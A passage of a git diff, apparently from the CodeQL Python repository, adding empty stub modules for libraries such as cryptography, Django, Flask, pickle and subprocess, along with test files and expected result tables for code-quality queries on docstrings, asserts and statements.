00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/__init__.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/dsa.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/dsa.py new file mode 100644 index 00000000000..b4c37f6b540 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/dsa.py @@ -0,0 +1,4 @@ + +def generate_private_key(key_size, backend): + pass + diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/ec.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/ec.py new file mode 100644 index 00000000000..d2eb4b0f1af --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/ec.py @@ -0,0 +1,22 @@ + +def generate_private_key(curve, backend): + pass + +class SECT571R1(object): + name = "sect571r1" + key_size = 570 + + +class SECP384R1(object): + name = "secp384r1" + key_size = 384 + + +class SECP224R1(object): + name = "secp224r1" + key_size = 224 + + +class SECT163K1(object): + name = "sect163k1" + key_size = 163 \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/rsa.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/rsa.py new file mode 100644 index 00000000000..3a5c91734c2 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/asymmetric/rsa.py @@ -0,0 +1,3 @@ + +def generate_private_key(public_exponent, key_size, backend): + pass diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/__init__.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/__init__.py new file mode 100644 index 00000000000..f37f14e88f8 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/__init__.py @@ -0,0 +1,3 @@ + +class Cipher(object): + pass diff --git a/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/algorithms.py b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/algorithms.py new file mode 100644 index 00000000000..e423804e4f5 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/cryptography/hazmat/primitives/ciphers/algorithms.py @@ -0,0 +1,3 @@ + +class ARC4(object): + name = "RC4" diff --git a/python/ql/test/query-tests/Security/lib/django/__init__.py b/python/ql/test/query-tests/Security/lib/django/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/django/conf/__init__.py b/python/ql/test/query-tests/Security/lib/django/conf/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/django/conf/urls.py b/python/ql/test/query-tests/Security/lib/django/conf/urls.py new file mode 100644 index 00000000000..cf65525e893 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/django/conf/urls.py @@ -0,0 +1,7 @@ + +def url(pattern, *args): + pass + +def patterns(*urls): + pass + diff --git a/python/ql/test/query-tests/Security/lib/django/db/__init__.py b/python/ql/test/query-tests/Security/lib/django/db/__init__.py new file mode 100644 index 00000000000..3e291c5731d --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/django/db/__init__.py @@ -0,0 +1 @@ +connection = object() diff --git a/python/ql/test/query-tests/Security/lib/django/db/models/__init__.py b/python/ql/test/query-tests/Security/lib/django/db/models/__init__.py new file mode 100644 index 00000000000..eb9c72adc45 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/django/db/models/__init__.py @@ -0,0 +1,2 @@ +class Model: + pass diff --git a/python/ql/test/query-tests/Security/lib/django/db/models/expressions.py b/python/ql/test/query-tests/Security/lib/django/db/models/expressions.py new file mode 100644 index 00000000000..d7e0d1c27b6 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/django/db/models/expressions.py @@ -0,0 +1,2 @@ +class RawSQL: + pass diff --git a/python/ql/test/query-tests/Security/lib/flask/__init__.py b/python/ql/test/query-tests/Security/lib/flask/__init__.py new file mode 100644 index 00000000000..9277dc33563 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/flask/__init__.py @@ -0,0 +1,20 @@ + + +class Flask(object): + def run(self, *args, **kwargs): pass + +from .globals import request + +class Response(object): + pass + +def redirect(location, code=302, Response=None): + pass + +def make_response(rv): + if isinstance(rv, str): + return Response(rv) + elif isinstance(rv, Response): + return rv + else: + pass diff --git a/python/ql/test/query-tests/Security/lib/flask/globals.py b/python/ql/test/query-tests/Security/lib/flask/globals.py new file mode 100644 index 00000000000..ef717051f79 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/flask/globals.py @@ -0,0 +1,5 @@ + +class LocalProxy(object): + pass + +request = LocalProxy() diff --git a/python/ql/test/query-tests/Security/lib/flask/urls.py b/python/ql/test/query-tests/Security/lib/flask/urls.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Security/lib/flask/views.py b/python/ql/test/query-tests/Security/lib/flask/views.py new file mode 100644 index 00000000000..2cd20261dad --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/flask/views.py @@ -0,0 +1,11 @@ + + + +class View(object): + pass + + +class MethodView(object): + pass + + diff --git a/python/ql/test/query-tests/Security/lib/jinja2.py b/python/ql/test/query-tests/Security/lib/jinja2.py new file mode 100644 index 00000000000..41697651c4c --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/jinja2.py @@ -0,0 +1,20 @@ + +class Environment(object): + + def __init__(self, loader, autoescape): + pass + +class Template(object): + + def __init__(self, source, autoescape): + pass + +def select_autoescape(files=[]): + def autoescape(template_name): + pass + return autoescape + +class FileSystemLoader(object): + + def __init__(self, searchpath): + pass diff --git a/python/ql/test/query-tests/Security/lib/marshall.py b/python/ql/test/query-tests/Security/lib/marshall.py new file mode 100644 index 00000000000..410fa21087e --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/marshall.py @@ -0,0 +1,2 @@ +def loads(*args, **kwargs): + return None diff --git a/python/ql/test/query-tests/Security/lib/os/__init__.py b/python/ql/test/query-tests/Security/lib/os/__init__.py new file mode 100644 index 00000000000..9cbc1f15559 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/os/__init__.py @@ -0,0 +1,5 @@ +def system(cmd, *args, **kwargs): + return None + +def popen(cmd, *args, **kwargs): + return None diff --git a/python/ql/test/query-tests/Security/lib/os/path.py b/python/ql/test/query-tests/Security/lib/os/path.py new file mode 100644 index 00000000000..d54092e80b0 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/os/path.py @@ -0,0 +1,5 @@ +def join(a, *b): + return a + "/" + "/".join(b) + +def normpath(x): + return x diff --git a/python/ql/test/query-tests/Security/lib/pickle.py b/python/ql/test/query-tests/Security/lib/pickle.py new file mode 100644 index 00000000000..410fa21087e --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/pickle.py @@ -0,0 +1,2 @@ +def loads(*args, **kwargs): + return None diff --git a/python/ql/test/query-tests/Security/lib/requests.py b/python/ql/test/query-tests/Security/lib/requests.py new file mode 100644 index 00000000000..01afdbb1208 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/requests.py @@ -0,0 +1,21 @@ + +def get(url, params=None, **kwargs): + pass + +def options(url, **kwargs): + pass + +def head(url, **kwargs): + pass + +def post(url, data=None, json=None, **kwargs): + pass + +def put(url, data=None, **kwargs): + pass + +def patch(url, data=None, **kwargs): + pass + +def delete(url, **kwargs): + pass diff --git a/python/ql/test/query-tests/Security/lib/subprocess.py b/python/ql/test/query-tests/Security/lib/subprocess.py new file mode 100644 index 00000000000..efb2ba183f0 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/subprocess.py @@ -0,0 +1,2 @@ +def Popen(*args, **kwargs): + return None \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/lib/traceback.py b/python/ql/test/query-tests/Security/lib/traceback.py new file mode 100644 index 00000000000..2a7c5e58847 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/traceback.py @@ -0,0 +1,2 @@ +def format_exc(): + return None \ No newline at end of file diff --git a/python/ql/test/query-tests/Security/lib/yaml.py b/python/ql/test/query-tests/Security/lib/yaml.py new file mode 100644 index 00000000000..51fe2fd1d42 --- /dev/null +++ b/python/ql/test/query-tests/Security/lib/yaml.py @@ -0,0 +1,2 @@ +def load(s): + pass diff --git a/python/ql/test/query-tests/Security/options b/python/ql/test/query-tests/Security/options new file mode 100644 index 00000000000..58ad829f5a8 --- /dev/null +++ b/python/ql/test/query-tests/Security/options @@ -0,0 +1 @@ +optimize: true diff --git a/python/ql/test/query-tests/Statements/DocStrings/DocStrings.expected b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.expected new file mode 100644 index 00000000000..29cebbf4f9d --- /dev/null +++ b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.expected @@ -0,0 +1,4 @@ +| DocStrings.py:0:0:0:0 | Module DocStrings | Module DocStrings does not have a docstring | +| DocStrings.py:40:1:40:13 | Class Not_OK | Class Not_OK does not have a docstring | +| DocStrings.py:48:5:48:26 | Function meth_not_ok | Function meth_not_ok does not have a docstring | +| DocStrings.py:53:1:53:17 | Function not_ok | Function not_ok does not have a docstring | diff --git a/python/ql/test/query-tests/Statements/DocStrings/DocStrings.py b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.py new file mode 100644 index 00000000000..9a5c0f01de9 --- /dev/null +++ b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.py @@ -0,0 +1,59 @@ +#Modules should have docstrings + +class OK: + 'Classes need doc strings' + + 'Two strings' + pass + "Another string" +#All functions must be multi-line or there are ignored by the query + + +class _OK: + 'Unless they are private' + pass + pass + +def f_ok(x, y): + 'And functions' + pass + pass + +def _f_ok(y, z): + #Unless they are private + pass + pass + +class OK2: + 'doc-string' + + def meth_ok(self): + 'Methods need docstrings' + pass + pass + + def _meth_ok(self): + #Unless they are private + pass + pass + +class Not_OK: + #No docstring + + def meth_ok(self): + 'Methods need docstrings' + pass + pass + + def meth_not_ok(self): + #No doc-string + pass + pass + +def not_ok(x, y): + #Should have a doc-string + pass + pass + + + diff --git a/python/ql/test/query-tests/Statements/DocStrings/DocStrings.qlref b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.qlref new file mode 100644 index 00000000000..1ff50d155fb --- /dev/null +++ b/python/ql/test/query-tests/Statements/DocStrings/DocStrings.qlref @@ -0,0 +1 @@ +Statements/DocStrings.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.expected b/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.expected new file mode 100644 index 00000000000..b45a5f5d86d --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.expected @@ -0,0 +1,10 @@ +| assert.py:34:9:34:26 | Assert | Assert of literal constant True. | +| assert.py:36:9:36:19 | Assert | Assert of literal constant True. | +| assert.py:40:9:40:27 | Assert | Assert of literal constant False. | +| assert.py:44:9:44:23 | Assert | Assert of literal constant 0. | +| assert.py:48:9:48:23 | Assert | Assert of literal constant 1. | +| assert.py:52:9:52:24 | Assert | Assert of literal constant "". | +| assert.py:56:9:56:25 | Assert | Assert of literal constant "X". | +| assert.py:58:9:58:18 | Assert | Assert of literal constant "X". | +| assert.py:94:9:94:29 | Assert | Assert of literal constant False. | +| assert.py:102:9:102:29 | Assert | Assert of literal constant False. | diff --git a/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.qlref b/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.qlref new file mode 100644 index 00000000000..1f301867a08 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/AssertLiteralConstant.qlref @@ -0,0 +1 @@ +Statements/AssertLiteralConstant.ql diff --git a/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.expected b/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.expected new file mode 100644 index 00000000000..7945ccaf586 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.expected @@ -0,0 +1,2 @@ +| assert.py:16:5:16:13 | Assert | Assertion of empty tuple is always False. | +| assert.py:17:5:17:17 | Assert | Assertion of non-empty tuple is always True. | diff --git a/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.qlref b/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.qlref new file mode 100644 index 00000000000..6fe2960c1c5 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/AssertOnTuple.qlref @@ -0,0 +1 @@ +Statements/AssertOnTuple.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.expected b/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.expected new file mode 100644 index 00000000000..4f46cff1e76 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.expected @@ -0,0 +1,2 @@ +| assert.py:5:5:5:20 | Assert | This 'assert' statement contains $@ which may have side effects. | assert.py:5:13:5:19 | Yield | an expression | +| assert.py:8:5:8:22 | Assert | This 'assert' statement contains $@ which may have side effects. | assert.py:8:12:8:22 | Attribute() | an expression | diff --git a/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.qlref b/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.qlref new file mode 100644 index 00000000000..7dd70f3fed2 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/SideEffectInAssert.qlref @@ -0,0 +1 @@ +Statements/SideEffectInAssert.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/asserts/assert.py b/python/ql/test/query-tests/Statements/asserts/assert.py new file mode 100644 index 00000000000..854fffa3382 --- /dev/null +++ b/python/ql/test/query-tests/Statements/asserts/assert.py @@ -0,0 +1,106 @@ +import sys +import six + +def _f(): + assert (yield 3) + x = [ 1 ] + assert len(x) #Call without side-effects + assert sys.exit(1) #Call with side-effects + expected_types = (Response, six.text_type, six.binary_type) + assert isinstance(obj, expected_types), \ + "obj must be %s, not %s" % ( + " or ".join(t.__name__ for t in expected_types), + type(obj).__name__) + +def assert_tuple(x, y): + assert () + assert (x, y) + + + + + + + + + + + + + + +def error_assert_true(x): + if x: + assert True, "Bad" + else: + assert True + +def error_assert_false(x): + if x: + assert False, "Bad" + +def error_assert_zero(x): + if x: + assert 0, "Bad" + +def error_assert_one(x): + if x: + assert 1, "Bad" + +def error_assert_empty_string(x): + if x: + assert "", "Bad" + +def error_assert_nonempty_string(x): + if x: + assert "X", "Bad" + else: + assert "X" + +def ok_assert_false(x): + if x: + assert 0==1, "Ok" + +class TestCase: + pass + +class MyTest(TestCase): + def test_ok_assert_in_test(self, x): + if x: + assert False, "Ok" + +def ok_assert_in_final_branch3(x): + if foo(x): + pass + elif bar(x): + pass + elif quux(x): + pass + else: + assert False, "Ok" + +def ok_assert_in_final_branch2(x): + if foo(x): + pass + elif bar(x): + pass + else: + assert False, "Ok" + +def error_assert_in_final_branch1(x): + if foo(x): + pass + else: + assert False, "Error" + +def error_assert_in_intermediate_branch(x): + if foo(x): + pass + elif bar(x): + pass + elif quux(x): + assert False, "Error" + elif yks(x): + pass + else: + pass \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/exit/UseOfExit.expected b/python/ql/test/query-tests/Statements/exit/UseOfExit.expected new file mode 100644 index 00000000000..76984527df6 --- /dev/null +++ b/python/ql/test/query-tests/Statements/exit/UseOfExit.expected @@ -0,0 +1 @@ +| test.py:7:9:7:15 | ControlFlowNode for exit() | The 'exit' site.Quitter object may not exist if the 'site' module is not loaded or is modified. | diff --git a/python/ql/test/query-tests/Statements/exit/UseOfExit.qlref b/python/ql/test/query-tests/Statements/exit/UseOfExit.qlref new file mode 100644 index 00000000000..5925d933914 --- /dev/null +++ b/python/ql/test/query-tests/Statements/exit/UseOfExit.qlref @@ -0,0 +1 @@ +Statements/UseOfExit.ql diff --git a/python/ql/test/query-tests/Statements/exit/test.py b/python/ql/test/query-tests/Statements/exit/test.py new file mode 100644 index 00000000000..ae03479497e --- /dev/null +++ b/python/ql/test/query-tests/Statements/exit/test.py @@ -0,0 +1,7 @@ + +def main(): + try: + process() + except Exception as ex: + print(ex) + exit(1) diff --git a/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.expected b/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.expected new file mode 100644 index 00000000000..57ec1428a5c --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.expected @@ -0,0 +1,3 @@ +| test.py:11:13:11:17 | Break | 'break' in a finally block will swallow any exceptions raised. | +| test.py:19:13:19:20 | Return | 'return' in a finally block will swallow any exceptions raised. | +| test.py:37:13:37:18 | Return | 'return' in a finally block will swallow any exceptions raised. | diff --git a/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.qlref b/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.qlref new file mode 100644 index 00000000000..0a710cdde9c --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/BreakOrReturnInFinally.qlref @@ -0,0 +1 @@ +Statements/BreakOrReturnInFinally.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/C_StyleParentheses.expected b/python/ql/test/query-tests/Statements/general/C_StyleParentheses.expected new file mode 100644 index 00000000000..a7fa79d219a --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/C_StyleParentheses.expected @@ -0,0 +1,4 @@ +| test.py:109:5:109:8 | cond | Parenthesized condition in 'if' statement. | +| test.py:112:8:112:11 | cond | Parenthesized condition in 'while' statement. | +| test.py:115:9:115:12 | test | Parenthesized test in 'assert' statement. | +| test.py:118:13:118:13 | x | Parenthesized value in 'return' statement. | diff --git a/python/ql/test/query-tests/Statements/general/C_StyleParentheses.qlref b/python/ql/test/query-tests/Statements/general/C_StyleParentheses.qlref new file mode 100644 index 00000000000..6af1d43f7c6 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/C_StyleParentheses.qlref @@ -0,0 +1 @@ +Statements/C_StyleParentheses.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/ConstantInConditional.expected b/python/ql/test/query-tests/Statements/general/ConstantInConditional.expected new file mode 100644 index 00000000000..95d67655558 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ConstantInConditional.expected @@ -0,0 +1,2 @@ +| statements_test.py:5:8:5:11 | True | Testing a constant will always give the same result. | +| statements_test.py:9:8:9:8 | IntegerLiteral | Testing a constant will always give the same result. | diff --git a/python/ql/test/query-tests/Statements/general/ConstantInConditional.qlref b/python/ql/test/query-tests/Statements/general/ConstantInConditional.qlref new file mode 100644 index 00000000000..c4b9b9a555b --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ConstantInConditional.qlref @@ -0,0 +1 @@ +Statements/ConstantInConditional.ql diff --git a/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.expected b/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.expected new file mode 100644 index 00000000000..88b3dfbb008 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.expected @@ -0,0 +1,4 @@ +| statements_test.py:19:5:19:18 | AssignStmt | Left hand side of assignment contains 3 variables, but right hand side is a $@ of length 2. | statements_test.py:19:15:19:18 | statements_test.py:19 | tuple | +| statements_test.py:163:5:163:23 | AssignStmt | Left hand side of assignment contains 3 variables, but right hand side is a $@ of length 5. | statements_test.py:163:13:163:23 | statements_test.py:163 | list | +| statements_test.py:172:5:172:48 | AssignStmt | Left hand side of assignment contains 3 variables, but right hand side is a $@ of length 5. | statements_test.py:167:16:167:24 | statements_test.py:167 | tuple | +| statements_test.py:172:5:172:48 | AssignStmt | Left hand side of assignment contains 3 variables, but right hand side is a $@ of length 6. | statements_test.py:169:16:169:26 | statements_test.py:169 | tuple | diff --git a/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.qlref b/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.qlref new file mode 100644 index 00000000000..f7e01617f9e --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/MismatchInMultipleAssignment.qlref @@ -0,0 +1 @@ +Statements/MismatchInMultipleAssignment.ql diff --git a/python/ql/test/query-tests/Statements/general/ModificationOfLocals.expected b/python/ql/test/query-tests/Statements/general/ModificationOfLocals.expected new file mode 100644 index 00000000000..547cec0c3b8 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ModificationOfLocals.expected @@ -0,0 +1,5 @@ +| test.py:98:5:98:17 | Subscript | Modification of the locals() dictionary will have no effect on the local variables. | +| test.py:100:5:100:28 | Attribute() | Modification of the locals() dictionary will have no effect on the local variables. | +| test.py:101:5:101:14 | Attribute() | Modification of the locals() dictionary will have no effect on the local variables. | +| test.py:102:9:102:14 | Subscript | Modification of the locals() dictionary will have no effect on the local variables. | +| test.py:103:5:103:13 | Attribute() | Modification of the locals() dictionary will have no effect on the local variables. | diff --git a/python/ql/test/query-tests/Statements/general/ModificationOfLocals.qlref b/python/ql/test/query-tests/Statements/general/ModificationOfLocals.qlref new file mode 100644 index 00000000000..88a666435e3 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ModificationOfLocals.qlref @@ -0,0 +1 @@ +Statements/ModificationOfLocals.ql diff --git a/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.expected b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.expected new file mode 100644 index 00000000000..b7b3f0e56ed --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.expected @@ -0,0 +1,6 @@ +| nested.py:3:9:3:38 | For | Nested for statement uses loop variable 'repeated_var' of enclosing $@. | nested.py:2:5:2:34 | For | for statement | +| nested.py:19:13:19:23 | For | Nested for statement uses loop variable 'x' of enclosing $@. | nested.py:17:5:17:15 | For | for statement | +| nested.py:27:9:27:19 | For | Nested for statement uses loop variable 'x' of enclosing $@. | nested.py:25:5:25:15 | For | for statement | +| nested.py:35:9:35:19 | For | Nested for statement uses loop variable 'x' of enclosing $@. | nested.py:32:5:32:15 | For | for statement | +| nested.py:42:9:42:19 | For | Nested for statement uses loop variable 'x' of enclosing $@. | nested.py:41:5:41:15 | For | for statement | +| nested.py:50:9:50:19 | For | Nested for statement uses loop variable 'x' of enclosing $@. | nested.py:48:5:48:15 | For | for statement | diff --git a/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.qlref b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.qlref new file mode 100644 index 00000000000..75a4032a05f --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariable.qlref @@ -0,0 +1 @@ +Statements/NestedLoopsSameVariable.ql diff --git a/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.expected b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.expected new file mode 100644 index 00000000000..086f12ea27c --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.expected @@ -0,0 +1,3 @@ +| nested.py:3:9:3:38 | For | Nested for statement $@ loop variable 'repeated_var' of enclosing $@. | nested.py:5:22:5:33 | repeated_var | uses | nested.py:2:5:2:34 | For | for statement | +| nested.py:27:9:27:19 | For | Nested for statement $@ loop variable 'x' of enclosing $@. | nested.py:29:13:29:13 | x | uses | nested.py:25:5:25:15 | For | for statement | +| nested.py:50:9:50:19 | For | Nested for statement $@ loop variable 'x' of enclosing $@. | nested.py:54:13:54:13 | x | uses | nested.py:48:5:48:15 | For | for statement | diff --git a/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.qlref b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.qlref new file mode 100644 index 00000000000..d34f2ddb21a --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NestedLoopsSameVariableWithReuse.qlref @@ -0,0 +1 @@ +Statements/NestedLoopsSameVariableWithReuse.ql diff --git a/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.expected b/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.expected new file mode 100755 index 00000000000..308f0aa027e --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.expected @@ -0,0 +1 @@ +| test.py:50:1:50:23 | For | $@ of class '$@' may be used in for-loop. | test.py:50:10:50:22 | ControlFlowNode for NonIterator() | Non-iterator | test.py:45:1:45:26 | class NonIterator | NonIterator | diff --git a/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.qlref b/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.qlref new file mode 100644 index 00000000000..fb09cace29a --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/NonIteratorInForLoop.qlref @@ -0,0 +1 @@ +Statements/NonIteratorInForLoop.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/RedundantAssignment.expected b/python/ql/test/query-tests/Statements/general/RedundantAssignment.expected new file mode 100644 index 00000000000..f997ac54932 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/RedundantAssignment.expected @@ -0,0 +1,3 @@ +| statements_test.py:54:5:54:9 | AssignStmt | This assignment assigns a variable to itself. | +| statements_test.py:57:9:57:19 | AssignStmt | This assignment assigns a variable to itself. | +| statements_test.py:117:9:117:23 | AssignStmt | This assignment assigns a variable to itself. | diff --git a/python/ql/test/query-tests/Statements/general/RedundantAssignment.qlref b/python/ql/test/query-tests/Statements/general/RedundantAssignment.qlref new file mode 100644 index 00000000000..2c3b08d8766 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/RedundantAssignment.qlref @@ -0,0 +1 @@ +Statements/RedundantAssignment.ql diff --git a/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.expected b/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.expected new file mode 100644 index 00000000000..41a8723db03 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.expected @@ -0,0 +1 @@ +| test.py:162:9:162:17 | Attribute() | Instance of context-manager class $@ is closed in a finally block. Consider using 'with' statement. | test.py:145:1:145:17 | class CM | CM | diff --git a/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.qlref b/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.qlref new file mode 100644 index 00000000000..e1b3d7276ff --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/ShouldUseWithStatement.qlref @@ -0,0 +1 @@ +Statements/ShouldUseWithStatement.ql diff --git a/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.expected b/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.expected new file mode 100644 index 00000000000..418308f116d --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.expected @@ -0,0 +1,2 @@ +| performance.py:6:9:6:20 | AugAssign | String concatenation in a loop is quadratic in the number of iterations. | +| performance.py:12:9:12:29 | AssignStmt | String concatenation in a loop is quadratic in the number of iterations. | diff --git a/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.qlref b/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.qlref new file mode 100644 index 00000000000..cf694f99e48 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/StringConcatenationInLoop.qlref @@ -0,0 +1 @@ +Statements/StringConcatenationInLoop.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.expected b/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.expected new file mode 100644 index 00000000000..f6f7ca1bad2 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.expected @@ -0,0 +1 @@ +| statements_test.py:181:5:181:9 | Delete | Unnecessary deletion of local variable $@ in function $@. | statements_test.py:181:9:181:9 | statements_test.py:181 | x | statements_test.py:179:1:179:31 | statements_test.py:179 | error_unnecessary_delete | diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.qlref b/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.qlref new file mode 100644 index 00000000000..e97bf9a872b --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryDelete.qlref @@ -0,0 +1 @@ +Statements/UnnecessaryDelete.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.expected b/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.expected new file mode 100644 index 00000000000..6f333fc7bbf --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.expected @@ -0,0 +1,2 @@ +| statements_test.py:63:1:63:19 | For | This 'for' statement has a redundant 'else' as no 'break' is present in the body. | +| statements_test.py:68:1:68:13 | While | This 'while' statement has a redundant 'else' as no 'break' is present in the body. | diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.qlref b/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.qlref new file mode 100644 index 00000000000..8f92883475c --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryElseClause.qlref @@ -0,0 +1 @@ +Statements/UnnecessaryElseClause.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryPass.expected b/python/ql/test/query-tests/Statements/general/UnnecessaryPass.expected new file mode 100644 index 00000000000..43e81cd1e16 --- /dev/null +++ b/python/ql/test/query-tests/Statements/general/UnnecessaryPass.expected @@ -0,0 +1 @@ +| test.py:41:5:41:8 | Pass | Unnecessary 'pass' statement. | diff --git a/python/ql/test/query-tests/Statements/general/UnnecessaryPass.qlref b/python/ql/test/query-tests/Statements/general/UnnecessaryPass.qlref new file mode 100644 index 